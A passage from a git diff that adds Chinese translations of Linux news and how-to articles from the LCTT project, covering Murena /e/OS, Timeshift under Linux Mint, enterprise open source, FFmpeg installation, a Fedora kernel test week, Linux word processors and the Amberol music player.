+为了精简其产品,负责该操作系统的 e 基金会宣布了一个新的品牌 “Murena”,其中包括了一些以该操作系统为核心的新功能和一个新的智能手机。 + +### Murena 和 e 基金会 + +e 基金会作为一个致力于 /e/OS 的非营利组织将继续存在。因此,可以说这不是一次品牌重塑。 + +然而,[Murena][2] 作为一个新的创业公司,似乎是一个独立的商业实体,将专注于鼓励主流用户尝试 /e/OS,并促进支持该操作系统的智能手机的使用。 + +对该公司,/e/OS 的创建者提及: + +![][3] + +### /e/OS 1.0 有什么新内容? + +随着该操作系统的最新升级发布,他们的目标是让事情变得更容易理解,在提高使用便利性的同时,仍然考虑到隐私。 + +此外,还随同本次更新推出了新的应用程序商店(App Lounge)和新的隐私工具(Advanced Privacy)。 + +**App Lounge**:这个新的应用程序安装程序可以让你安装许多开源应用程序和 PWA(渐进式网页应用Progress Web App)。在你安装之前,它还会告知你每个应用程序中已有的跟踪器。 + +![][4] + +我相信一个量身定做的应用商店的存在将有助于消除新用户是否应该尝试用 /e/OS 安装 Play Store 或 F-Droid 的困惑。 + +除此之外,Advanced Privacy 工具将有助于限制用户在安装第三方应用程序后暴露的数据。 + +如果你想远离科技巨头,你还会发现 Murena 云服务可以用作私人电子邮件账户服务和云存储。该电子邮件服务提供的功能可以隐藏你的原始电子邮件地址。 + +### Murena One + +![][5] + +首款 Murena 品牌的智能手机将于 6 月下旬推出,并将向美国、加拿大、欧洲、英国和瑞士等地的用户发货。 + +这款智能手机将采用 6.5 英寸显示屏,配备 2500 万像素的前置摄像头,后置摄像头设置有三个传感器,分别是 4800 万像素、800 万像素和 500 万像素。 + +我们不太确定是什么处理器,但它提到了是一个八核芯片,加上 4GB 的内存。所有这些都由 4500 毫安时的电池供电。 + +除了它的第一款智能手机,你还可以从它的官方网站上购买 Fairphone 和 Teracube 的智能手机,这些手机预装了 /e/OS。 + +### 总结 + +你可以在其官方网站上了解更多关于新的 /e/OS 升级、云服务和可用的智能手机的信息。 + +> **[Murena][6]** + +该智能手机的定价还没有在新闻发布会上披露。所以,我们建议你如果有兴趣,可以关注一下。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/murena-e-os/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/murena.jpg +[2]: https://murena.com/ +[3]: https://news.itsfoss.com/wp-content/uploads/2022/06/murena-quote.jpeg +[4]: https://news.itsfoss.com/wp-content/uploads/2022/06/eos-app-lounge-1024x1024.jpg +[5]: https://news.itsfoss.com/wp-content/uploads/2022/06/murena-one-1024x576.jpeg +[6]: https://murena.com/ diff --git a/published/202206/20220602 Linux Mint to Maintain Timeshift Backup Tool as an XApp.md b/published/202206/20220602 Linux Mint to Maintain Timeshift Backup Tool as an XApp.md new file mode 100644 index 0000000000..b12e5175e9 --- /dev/null +++ b/published/202206/20220602 Linux Mint to Maintain Timeshift Backup Tool as an XApp.md @@ -0,0 +1,73 @@ +[#]: subject: "Linux Mint to Maintain Timeshift Backup Tool as an XApp" +[#]: via: "https://news.itsfoss.com/linux-mint-timeshift/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "hadisi1993" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14681-1.html" + +Linux Mint 接管 Timeshift 备份工具的开发,并作为一款 XApp 来维护 +====== + +> Linux Mint 接管了 Timeshift 备份/恢复工具的开发。你可以在它新的 GitHub 仓库中找到它。 + +![linux mint][1] + +Timeshift 可以说是 [备份和恢复 Linux 系统的最佳工具][2]。 + +Linux Mint 也利用它帮助用户在系统更新时更方便地创建快照,确保快捷无碍的操作。 + +当然,这不是 [Linux Mint 可能比 Ubuntu 更好的唯一原因][3]。 + +不幸的是,Timeshift 背后的开发者([Tony George][4])计划把注意力集中在其他项目上,将不再继续维护这个项目。 + +Linux Mint 团队联系了这位开发者,并愿意为这个项目提供任何可能的帮助。最终,它们接管了 Timeshift 的开发。 + +所以,现在 Linux Mint 团队会对 Timeshift 的发布和修复,以及任何与之相关的开发工作负责。 + +### 将 Timeshift 调整成 XApp + +![][5] + +Linux Mint 倾向于将某些应用作为“XApp”来维护,以确保它们能在各种不同的桌面环境下工作,不会依赖于某个特殊的桌面。 + +考虑到他们计划将 Timeshift 调整成一个XApp,你可以期待该工具在很长一段时间内维持当前的外观和功能,而不用顾虑你的桌面环境是什么。 + +不像一些 GNOME 应用程序,为了获得最好的体验,它们通常会变成 GNOME 专用的应用程序。 + +Timeshift 是一个必不可少的备份/恢复工具。所以,Linux Mint 接管 Timeshift 的开发并作为一个 XApp 来维护的计划听上去相当完美! + +如果你想知道的话,那不妨告诉你,Timeshift 的迁移已经在 [Launchpad][6] 上完成了。 + +新的 [GitHub仓库][7](由 Linux Mint 复刻的)可以给你提供这个应用的更多细节以及它最近的开发活动。 + +你也可以在 [最近每月发布的博文][8] 中查阅官方对此的声明。 + +### 结语 + +作为 Timeshift 的维护者,Linux Mint 希望在不久的将来带来更多的新特性和改进。 + +你如何看待 Linux Mint 将 Timeshift 接管为一款 XApp?欢迎在下方的评论区内分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-mint-timeshift/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[hadisi1993](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/linux-mint-time-shift.jpg +[2]: https://itsfoss.com/backup-restore-linux-timeshift/ +[3]: https://itsfoss.com/linux-mint-vs-ubuntu/ +[4]: https://teejeetech.com/ +[5]: https://news.itsfoss.com/wp-content/uploads/2022/06/timeshiftlinux-mint.png +[6]: https://github.com/linuxmint/timeshift +[7]: https://github.com/linuxmint/timeshift +[8]: https://blog.linuxmint.com/?p=4323 diff --git a/published/202206/20220602 Why Do Enterprises Use and Contribute to Open Source Software.md b/published/202206/20220602 Why Do Enterprises Use and Contribute to Open Source Software.md new file mode 100644 index 0000000000..e0feb992ca --- /dev/null +++ b/published/202206/20220602 Why Do Enterprises Use and Contribute to Open Source Software.md @@ -0,0 +1,121 @@ +[#]: subject: "Why Do Enterprises Use and Contribute to Open Source Software" +[#]: via: "https://www.linux.com/news/why-do-enterprises-use-and-contribute-to-open-source-software/" +[#]: author: "Dan Whiting https://www.linuxfoundation.org/blog/why-do-enterprises-use-and-contribute-to-open-source-software/" +[#]: collector: "lkxed" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14725-1.html" + +企业为何使用开源软件,又为何推动开源软件的发展 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/18/160635ejcmee273zmmxh72.jpg) + +每当人们知道我在 Linux 基金会Linux Foundation 工作,他们总是会问我们的工作具体是做什么的。有时候,他们会一直问我是不是开发 Linux 操作系统的。我只能回答说,我们做的是开源软件,并试图在他们失去兴趣之前,在短短的 20 秒钟内介绍它对世界的影响力。如果他们的兴趣还在,想要进一步了解,我就会给他们深入分析一番:企业为何想参与到开源软件项目之中?它们为何会使用开源软件?没错,企业确实会这样做,无论它们有没有意识到这一点。此外,成千上万的企业会将企业内部代码捐给开源项目,为推动开源软件的进一步开发和优化投入大量的时间和资源。 + +### 开源软件的使用范围有多广 + +引用我们最近发表的一项报告《企业开源指南A Guide to Enterprise Open Source》:“开源软件open source software(OSS)改变了世界,是数字经济的支柱,数字世界的基石。从我们日常使用的互联网和移动应用到开拓未来的操作系统和编程语言,开源软件无不发挥着重要的作用,可谓是科技行业的命脉。在今天,开源软件驱动数字经济发展,推进科学技术取得突破,不断改善人们的生活水平。手机、汽车和飞机等设备,家庭、企业和政府等群体都在使用着开源软件。但就在 20 年前,开源软件还仅仅为少数人所知,它的使用也仅限于一小部分专门的爱好者。” + +开源软件(OSS)已经改变了我们的世界,成为我们数字经济的支柱和数字世界的基础。 + +而它实际上: + +* 在各行业的 垂类软件栈vertical software stacks 中,开源软件的占比达到了 20% - 85%。 +* 超过 90% 的网站服务器和联网设备都依靠 Linux 来运行。 +* 安卓手机系统也是基于 Linux 内核。 +* 用于应用程序开发的 AMP、Appium、Dojo、jQuery、Marko、Node.js 等 [主流的库和工具][1] 均属于开源项目。 +* 世界上排名位列前 100 名的超级计算机都在使用 Linux。 +* 大型机客户均在使用 Linux。 +* 亚马逊、谷歌以及微软三大云服务供应商都在使用开源软件运行服务,并在云端托管开源解决方案。 + +### 企业为何想参与到开源软件项目之中 + +企业参与开源软件项目主要通过三种方式: + +* 企业向开源社区捐赠自家开发的软件。 +* 企业向开源软件项目提供直接的资金援助。 +* 企业向开源项目分派软件开发人员以及其他员工。 + +人们经常会问,为什么这些企业愿意放弃自家软件的所有权?为什么它们不让员工专攻自家软件的开发呢? + +从整体上来看,这一问题的答案就是,企业和组织聚集起来,合力解决共同的难题,如此一来,他们就可以各自专注于在这基础上的各类难题。这些企业明白,将资源聚集在一起,能够更好地解决基础问题。有时,这种现象被叫做“竞合coopetition”,大概的意思是企业在一些领域可能互为竞争对手,但是它们在另一些领域则会互相合作。 + +“竞合”现象的一些典型例子: + +* 铁路公司采用统一的铁轨尺寸,统一规划建设。得益于此,火车就可以在同样铁轨上运行,铁路公司之间也可以互相交换设备。 +* 在数码相机诞生之前,不同的公司在电影和摄像机行业各行创新之路,形成了各自的优势,但为了推进电影行业的发展,它们在相机链轮间距这一问题上达成了统一。 +* 娱乐产业在开展竞争的同时,也一致坚持采用家用录像系统和蓝光格式。 + +如今,企业、组织以及个体在合力解决难题的同时,也在不断地改进自身的产品与业务。 + +* [来此加密][2]Let’s Encrypt(LCTT译注:Let’s Encrypt 官网并没有用“来此加密”这样的称呼,但是在一些场合有这样的译名。我们认为此翻译很贴切。) 是一个免费的、开放的自动化证书颁发机构,旨在通过简化安装程序,减低安装费用,快速扩大安全网络协议的应用范围。该机构为超过 2.25 亿个网站提供服务,每天平均发放证书约 150 万张。 +* 好莱坞成立的 [学院软件基金会][3]Academy Software Foundation 通过共同开发软件,推动娱乐、游戏和媒体等产业的增长,为产业发展提供开放标准,在电影行业内 [创造了巨大的价值][4]。 +* 超级账本Hyperledger 基金会管理多个企业级区块链软件项目。众所周知,这些项目 [消耗的能源远比其他解决方案要少][5]。 +* [LF 能源基金会][6]LF Energy 推动 [电网朝着更加模块化、互操作和可拓展的方向发展][7],助力提升可再生能源的利用率。 +* [无人机代码基金会][8]Dronecode 致力于无人机软件的开发,促进企业在无人机领域进一步开拓创新。 +* [开源软件软件安全基金会][9]OpenSSF 聚集了顶尖的科技企业,共同强化开源软件的安全与韧性。 +* [Kubernetes][10] 是 Google 捐赠给 Linux 基金会下属的云原生计算基金会(CNCF)的一个项目,是管理基于云计算软件的首选方案。 + +上述只是企业参与的一小部分开源软件项目,点击 [此处][11],可以在 Linux 基金会官网浏览全部项目列表。 + +### 企业如何有效利用和参与开源软件项目? + +若想要更好地利用开源项目,更有效地参与开源项目,企业可以向 Linux 基金会寻求帮助。我们最新发布的报告 《[企业开源指南][12]》 提供了企业与组织需要了解的大部分信息。这份报告凝聚了来自多家顶级企业、具有几十年丰富经验的开源领袖的知识与智慧,报告主要分为以下六个章节: + +* 使用开源软件 +* 准备参与开源 +* 制定开源策略 +* 部署基础设施 +* 建立人才团队 +* 应对多方挑战 + +此外,Linux 基金会还提供了许多开源 [培训课程][13]、全年 [活动][14]、[LFX 平台][15],发起开源项目,协助企业与组织利用和参与开源项目,比如: + +* [TODO 工作组][16] 为开源项目办公室的建立和运作提供资源,包括其自身 [丰富的指导意见][17]。 +* [Openchain 项目][18] 旨在提供和维护国际开源许可标准,包括各种许可规定的相关信息。依赖于此,企业可以确保自身行为符合法律规定。 +* [FinOps 基金会][19] 目前正在将自身打造为“不断发展的云财务管理和文化实践平台,通过促进工程、财务、技术以及商业团队之间在数据驱动支出决策方面的合作,确保企业能够最大化实现商业价值”。 +* [软件数据包交换标准][20]Software Data Package Exchange(SPDX)是一个用于交流 软件物料清单software bill of materials(SBOM)的开放标准。在该标准下,每个用户都能清楚了解整个软件包中包括哪些软件。 + +同样,上述这些只是 Linux 基金会所有项目中的一小部分。所有这些项目都致力于帮助企业接受和使用开源项目,引导企业为开源项目做出贡献、提供捐赠。 + +总而言之,目前,企业正在迅速投向开源软件项目,借此解决共同的难题,并探索进一步的创新发展,而 Linux 基金会将为它们提供帮助。 + +*该文 [《企业为何使用开源软件,又为何推动开源软件的发展》][21] 首发于 [Linux 基金会][22] 官网。* + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/news/why-do-enterprises-use-and-contribute-to-open-source-software/ + +作者:[Dan Whiting][a] +选题:[lkxed][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxfoundation.org/blog/why-do-enterprises-use-and-contribute-to-open-source-software/ +[b]: https://github.com/lkxed +[1]: https://openjsf.org/projects/ +[2]: https://letsencrypt.org/ +[3]: https://www.aswf.io/ +[4]: https://linuxfoundation.org/tools/open-source-in-entertainment/ +[5]: https://linuxfoundation.org/tools/carbon-footprint-of-nfts/ +[6]: https://www.lfenergy.org/ +[7]: https://linuxfoundation.org/tools/paving-the-way-to-battle-climate-change-how-two-utilities-embraced-open-source-to-speed-modernization-of-the-electric-grid/ +[8]: https://www.dronecode.org/projects/ +[9]: https://openssf.org/ +[10]: https://kubernetes.io/ +[11]: https://linuxfoundation.org/projects/ +[12]: https://linuxfoundation.org/tools/guide-to-enterprise-open-source/ +[13]: https://training.linuxfoundation.org/ +[14]: https://events.linuxfoundation.org/ +[15]: https://lfx.linuxfoundation.org/ +[16]: https://todogroup.org/ +[17]: https://linuxfoundation.org/resources/open-source-guides/ +[18]: https://www.openchainproject.org/resources +[19]: https://www.finops.org/introduction/what-is-finops/ +[20]: https://spdx.dev/ +[21]: https://www.linuxfoundation.org/blog/why-do-enterprises-use-and-contribute-to-open-source-software/ +[22]: https://www.linuxfoundation.org/ diff --git a/published/202206/20220603 How to Install FFmpeg in Ubuntu and Other Linux.md b/published/202206/20220603 How to Install FFmpeg in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..9d7a484114 --- /dev/null +++ b/published/202206/20220603 How to Install FFmpeg in Ubuntu and Other Linux.md @@ -0,0 +1,173 @@ +[#]: subject: "How to Install FFmpeg in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/2022/06/install-ffmpeg-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14716-1.html" + +在 Linux 上安装 FFmpeg +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/16/103329av0zoz5m5o9ootz5.jpg) + +> 本教程介绍了在 Ubuntu 及其他 Linux 发行版上安装 FFmpeg 的步骤。 + +FFmpeg 是一套处理多媒体文件的软件库。凭借这些强大的库,FFmpeg 能够转换格式、推流以及处理音频和视频文件。许多 Linux 的前端应用都使用 FFmpeg 作为后端支持,所以这些应用对 FFmpeg 的依赖度非常高。举个例子,录屏软件可能会用到 FFmpeg 将录屏转换为 gif 动图。 + +VLC 多媒体播放器、YouTube、Blender、Kodi、Shotcut 和 Handbrake 等流行的应用与服务都在使用 FFmpeg,这仅仅一小部分。 + +趣事:NASA 火星 2020 计划的探测器“毅力”号在将图像和视频发送到地球之前,会先使用 FFmpeg 对其进行处理。 + +### 关于 FFmpeg + +[FFmpeg][1] 本身是一款非常强大的命令行实用程序,在 Linux 发行版、Windows 以及 macOS 等系统上均可运行,支持多种架构。FFmpeg 是用 C 语言和汇编语言编写的,性能强大,提供跨平台支持。 + +#### 核心 + +FFmpeg 的核心是命令行实用程序,既可在命令行上使用,也可以经由任何程序语言调用。比如,你可以在 Shell 程序或 python 脚本中使用 FFmpeg。 + +* `ffmpeg`:用于转换音视频格式,包括来自视频直播的信号源。 +* `ffplay`:FFmpeg 配套使用的媒体播放器 +* `ffprobe`:显示媒体文件信息的命令行工具,可将信息输出为 csv、xml、json 等格式。 + +### FFmpeg 安装 + +在 Ubuntu 等 Linux 发行版上, FFmpeg 的安装比较简单。打开终端,运行以下命令安装即可。 + +#### Ubuntu 及与其相似的发行版 + +``` +sudo apt install FFmpeg +``` + +#### Fedora + +在 Fedora Linux 上安装 FFmpeg,你需要添加 [RPM Fusion 仓库][2],因为 Fedora 官方仓库没有 FFmpeg 软件包。 + +``` +sudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm +``` + +``` +sudo dnf install https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree- +``` + +``` +sudo dnf install ffmpeg +``` + +#### Arch Linux + +``` +pacman -S ffmpeg +``` + +安装完成后,可输入以下命令查看安装是否成功。 + +``` +ffmpeg --version +``` + +![FFmpeg installed in Ubuntu Linux][3] + +### 示例:FFmpeg 的基本操作 + +首先,我们先来看看 FFmpeg 语法的一个简单例子。如下,该语法可以将 mp4 文件转换为 mkv 文件。 + +1、视频文件格式转换 + +``` +ffmpeg -i big_buck_bunny.mp4 big_buck_bunny.mkv +``` + +当然,这种写法最为简单易懂,但它并不完整,因为没有输入 比特率bit rate分辨率resolution 以及其他的视频文件属性。 + +2、音频文件格式转换 + +其次,输入与上面相似的命令可以转换音频文件的格式。 + +``` +ffmpeg -i sunny_day.ogg sunny_day.mp3 +``` + +3、使用音视频编解码器执行格式转换 + +最后,在下面的例子中,我们可以使用特定的 编解码器codec 来转换视频格式。参数 `-c` 搭配 `a` 或者 `v`,可以分别定义音频和视频文件。以下转换命令使用 `libvpx` 视频编解码器和 `libvorbis` 音频编解码器。 + +``` +ffmpeg -i big_buck_bunny.mp4 -c:v libvpx -c:a libvorbis big_buck_bunny.webm +``` + +### 如何确定自己系统中有哪些编码器和解码器? + +#### 显示所有编解码器 + +输入以下命令,打印所有编解码器。 + +``` +ffmpeg -codecs +``` + +该命令可以打印出所有可用的编解码器,并显示每个编解码器对应的功能信息,比如是否支持解码或编码。此外,如以下输出结果所示,打印出来的信息还会按照首字母顺序标注出每个编码器和解码器的位置。 + +``` +D..... = 支持解码 +.E.... = 支持编码 +..V... = 视频编解码器 +..A... = 音频编解码器 +..S... = 字幕编解码器 +...I.. = 仅限帧内编解码器 +....L. = 有损压缩 +.....S = 无损压缩 +``` + +![FFmpeg Codec list][4] + +#### 显示所有编码器 + +输入下列命令,打印出所有编码器 + +``` +ffmpeg -encoders +``` + +#### 显示所有解码器 + +同样,输入下列命令,打印出所有解码器。 + +``` +ffmpeg -decoders +``` + +#### 更多信息 + +输入参数 `-h`,获取更多关于编码器或解码器的信息。 + +``` +ffmpeg -h decoder=mp3 +``` + +### 总结 + +我希望这篇文章可以帮助你了解 FFmpeg 的基本知识及基本命令。若要了解更多信息,可前往 FFmpeg 官方网站浏览 [帮助文档][5]。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/06/install-ffmpeg-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://ffmpeg.org/ +[2]: https://www.debugpoint.com/2020/07/enable-rpm-fusion-fedora-rhel-centos/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/06/FFmpeg-installed-in-Ubuntu-Linux.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/06/FFmpeg-Codec-list.jpg +[5]: https://ffmpeg.org/documentation.html diff --git a/published/202206/20220605 Contribute at the Fedora Linux 37 Test Week for Kernel 5.18.md b/published/202206/20220605 Contribute at the Fedora Linux 37 Test Week for Kernel 5.18.md new file mode 100644 index 0000000000..41a873dfc9 --- /dev/null +++ b/published/202206/20220605 Contribute at the Fedora Linux 37 Test Week for Kernel 5.18.md @@ -0,0 +1,45 @@ +[#]: subject: "Contribute at the Fedora Linux 37 Test Week for Kernel 5.18" +[#]: via: "https://fedoramagazine.org/contribute-at-the-fedora-linux-37-test-week-for-kernel-5-18/" +[#]: author: "Sumantro Mukherjee https://fedoramagazine.org/author/sumantrom/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14685-1.html" + +Fedora Linux 37 的内核 5.18 测试周到了,一起来做贡献吧! +====== +![][1] + +Fedora 内核团队正在为 Linux 内核 5.18 进行最终集成。这个版本刚刚发布,很快就会出现在 Fedora 中。因此,Fedora 内核和 QA 团队组织了一个测试周,截止日期为 **2022 年 6 月 12 日,星期日。** 请参阅 [维基页面][2] 来获取你将要参与的测试镜像链接。继续阅读下文,可了解更多细节~ + +### 测试周是如何运作的? + +测试周是一个人人都可以参与的活动。在测试周,任何人都可以为 Fedora 即将发布的版本查漏补缺,确保它最终能够运行良好。Fedora 社区成员会经常参与这个活动,我们同时也欢迎公众参加这些活动。如果你以前从未做过贡献,那么这是一个绝佳的上手机会。 + +要想做出贡献,你只需要能够执行以下操作即可: + +* 下载测试资料,包括一些大文件 +* 阅读并按照说明一步一步地进行操作 + +内核测试日的 [维基页面][2] 提供了很多关于测试内容和测试方法的有用信息。完成一些测试后,你可以在测试日的 [Web 应用][3] 上记录下你的测试结果。如果你在活动的当天或前后有空,请进行一些测试并报告你的结果。不知道该怎么做?没关系,我们有一份文件,其中提供了 [所有步骤][4]。 + +希望能在测试日见到你,预祝测试愉快~ + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/contribute-at-the-fedora-linux-37-test-week-for-kernel-5-18/ + +作者:[Sumantro Mukherjee][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/sumantrom/ +[b]: https://github.com/lkxed +[1]: https://fedoramagazine.org/wp-content/uploads/2022/06/test-days-816x345.jpg +[2]: http://fedoraproject.org/wiki/Test_Day:2022-06-05_Kernel_5.18_Test_Week +[3]: https://testdays.fedoraproject.org/events/136 +[4]: https://docs.fedoraproject.org/en-US/quick-docs/kernel/howto-kernel-testday/ diff --git a/published/202206/20220606 6 Linux word processors you need to try.md b/published/202206/20220606 6 Linux word processors you need to try.md new file mode 100644 index 0000000000..9fd712d06f --- /dev/null +++ b/published/202206/20220606 6 Linux word processors you need to try.md @@ -0,0 +1,82 @@ +[#]: subject: "6 Linux word processors you need to try" +[#]: via: "https://opensource.com/article/22/6/word-processors-linux" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "duoluoxiaosheng" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14693-1.html" + +值得尝试的六款 Linux 文字处理程序 +====== + +> 选择一款最中意的文字处理程序把你的想法打印到纸上。 + +![](https://img.linux.net.cn/data/attachment/album/202206/10/120032h7jlo1ozm37fdyfv.jpg) + +作家们总是在寻找更好的方法将他们的文字和想法以更好的方式呈现给他们的读者。我对文字处理程序最早的印象是在 Apple II 上使用 AppleWorks 和后来的 FrEDWriter,后者是一个创建于 1985 年的免费文字处理程序。这是我的学生们的标配,他们许多人来自没有钱购买专有软件的家庭。 + +### Abiword + +在 20 世纪 90 年代时,我开始使用 Linux,寻找我可以使用的高质量的写作程序,并推荐给跟随我进入开源软件世界的学生们。我首先接触的文字处理程序是 [AbiWord][2]。AbiWord 来自西班牙语 Abierto,意思是“开放”。它最早发布于 1998 年,并且之后一直在升级。它使用 GPLv2 开源协议。它支持列表、缩进,字符格式等基本功能,支持 .doc、.html、.docx、.odt 等多种格式文件的导入和导出。 + +![Image of Abiword][3] + +### Etherpad + +[Etherpad][4] 是一个开源协作编辑项目。它可以让你像 Google Drive 那样实时编辑文档,主要的区别是它是完全开源的。据它的网站上介绍,你可以“与你的朋友、同学或同事一起写文章、新闻稿、待办事项,同时在同一个文件上工作”。其源代码可随时查看。Etherpad 采用 Apache 2.0 开源协议。你可以直接在线使用它,或者把它下载并 [安装][5] 到你的 Linux 电脑上。 + +### Cryptpad + +[CryptPad][6] 是一个端到端加密的写作套件。使用 GPLv3 开源协议,并且源代码公开在 [GitHub][7] 上。它由 [Xwiki][8] 实验室开发。可替代 Google Drive,并且是自主托管的。根据其网站描述,“CryptPad 旨在实现协作办公。实时同步文档的更改。由于所有数据都已加密,因此该服务及其管理员无法查看正在编辑和存储的内容。” Cryptpad 为用户提供了 [丰富的文档][9]。 + +### Focuswriter + +[FocusWriter][10] 是一个简单的免干扰的编辑器。它使用隐藏式界面,鼠标移动到屏幕边界时才显示界面。它使用 GPLv3 开源协议,并为 Linux 提供了 Flatpak 软件包,也为 [Ubuntu][11] 和 [Fedora][12] 提供了 DEB 和 RPM。下图是一个 FocusWriter 桌面的例子。这是一个非常简单直观的界面,菜单自动隐藏,当鼠标指向屏幕顶部或边缘时才会显示。文件默认保存为 .odt 格式,也支持纯文本、.docx 和富文本。 + +![Image of FocusWriter][13] + +### LibreOffice Writer + +[LibreOffice Writer][14] 是我最喜欢的,我已经使用了十多年了。它拥有我需要的所有特性,包括富文本格式化。它还拥有我见过的最多的导入、导出方式。类似于 [APA][15] 这样的问卷和出版模板它拥有十多种。我最喜欢的是它可以将文件导出为 PDF 和 epub。 LibreOffice Writer 是一个自由软件,使用 Mozilla 公开许可证(MPL)2.0 开源协议。其 [源代码][16] 由文档基金会提供。LibreOffice 支持大多数 Linux 发行版。同时它也提供 Flatpak、Snap 和 AppImage 软件包。另外,你也可以把它下载并安装到 MacOS 和 Windows 上。 + +![Image of LibreOffice work space][17] + +### OpenOffice Writer + +Apache [OpenOffice Writer][18] 是一个全功能的文字处理程序。它可以简单地用于备忘录,也可以复杂到足以编写你的第一本书。依据官网的描述,OpenOffice Writer 将文档自动保存为 .odt。它还支持将文档保存为 .doc、.docx、富文本和其他格式。OpenOffice Writer 使用 Apache 许可证 2.0 开源协议。源代码在 [GitHub][19] 上公开。 + +还有许多自由开源软件等着大家去发现。它们非常适合完成你的日常任务,你也可以为它们的发展做出贡献。你最喜欢的 Linux 文字处理器程序是什么呢? + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/word-processors-linux + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[duoluoxiaosheng](https://github.com/duoluoxiaosheng) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/typewriter-hands.jpg +[2]: https://www.abisource.com/ +[3]: https://opensource.com/sites/default/files/2022-05/abiword.png +[4]: https://etherpad.org/# +[5]: https://github.com/ether/etherpad-lite#installation +[6]: https://cryptpad.fr/what-is-cryptpad.html +[7]: https://github.com/xwiki-labs/cryptpad +[8]: https://github.com/xwiki-labs +[9]: https://docs.cryptpad.fr/en/user_guide/index.html +[10]: https://gottcode.org/focuswriter/ +[11]: https://packages.ubuntu.com/jammy/focuswriter +[12]: https://src.fedoraproject.org/rpms/focuswriter +[13]: https://opensource.com/sites/default/files/2022-05/focuswriter.png +[14]: https://www.libreoffice.org/discover/writer/ +[15]: https://extensions.libreoffice.org/en/extensions/show/apa-style-paper-template +[16]: https://www.libreoffice.org/about-us/source-code/ +[17]: https://opensource.com/sites/default/files/2022-05/Libreofficewriter.png +[18]: https://www.openoffice.org/product/writer.html +[19]: https://github.com/apache/openoffice diff --git a/published/202206/20220606 Amberol is a Stunning Looking Music Player for Linux That Just Plays Music and Nothing Else.md b/published/202206/20220606 Amberol is a Stunning Looking Music Player for Linux That Just Plays Music and Nothing Else.md new file mode 100644 index 0000000000..0ccbb7c9bc --- /dev/null +++ b/published/202206/20220606 Amberol is a Stunning Looking Music Player for Linux That Just Plays Music and Nothing Else.md @@ -0,0 +1,113 @@ +[#]: subject: "Amberol is a Stunning Looking Music Player for Linux That Just Plays Music and Nothing Else" +[#]: via: "https://itsfoss.com/amberol-music-player/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14700-1.html" + +Amberol 是一款外观漂亮的 Linux 音乐播放器,只播放音乐,不做其他事情 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/12/155846b0sbsvtt1et70ttf.jpg) + +虽然音乐世界被流媒体服务所主导,但这并没有阻止开发者为桌面电脑创建音乐播放器。 + +最近,我发现了一个外观漂亮的新的 Linux 桌面音乐播放器。它名为 Amberol,我被它的美丽所震撼。 + +![amberol music player interface][1] + +看起来不错,不是吗?让我们仔细看看它。 + +### Amberol,Linux 上的可爱的音乐播放器 + 